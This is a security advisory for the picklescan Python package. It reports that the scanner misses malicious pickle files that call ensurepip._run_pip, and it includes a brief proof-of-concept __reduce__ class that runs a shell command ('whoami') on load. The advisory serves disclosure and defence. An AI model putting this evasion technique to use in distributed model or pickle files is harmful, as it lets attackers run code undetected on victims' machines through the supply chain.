GHSA-xp4f-hrf8-rxw7

Suggest an improvement
Source
https://github.com/advisories/GHSA-xp4f-hrf8-rxw7
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xp4f-hrf8-rxw7/GHSA-xp4f-hrf8-rxw7.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xp4f-hrf8-rxw7
Aliases
Published
2025-08-26T21:34:37Z
Modified
2026-07-21T19:30:30Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N CVSS Calculator
  • 7.6 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Picklescan is missing detection when calling built-in python ensurepip._run_pip
Details

Summary

Using ensurepip._run_pip function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to ensurepip._run_pip function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from ensurepip import _run_pip

class EvilEnsurepipRunpip:
    def __reduce__(self):
        payload = "[(__import__('os').system('whoami'),)]"
        return _run_pip, (payload,)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Database specific 
{
    "cwe_ids": [
        "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T21:34:37Z",
    "nvd_published_at": "2026-06-22T22:16:45Z",
    "severity": "HIGH"
}
References

Affected packages

PyPI / picklescan

Package

Name
picklescan
View open source insights on deps.dev
Purl
pkg:pypi/picklescan

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.0.30

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29

Database specific

source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-xp4f-hrf8-rxw7/GHSA-xp4f-hrf8-rxw7.json"